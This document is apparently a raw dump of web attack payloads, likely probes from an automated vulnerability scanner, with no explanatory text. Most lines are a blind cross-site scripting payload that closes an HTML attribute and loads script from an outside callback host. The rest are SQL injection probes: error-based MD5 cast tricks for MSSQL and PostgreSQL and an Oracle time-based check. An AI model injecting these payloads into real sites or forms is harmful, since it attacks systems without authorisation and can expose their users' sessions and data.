convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1248692753')))
'"><script/src=https://yxd.xss.ht>'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',0)='i
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
/**/and/**/cast(md5('1862402882')as/**/int)>0
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1165488721')))
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>
'"><script/src=https://yxd.xss.ht>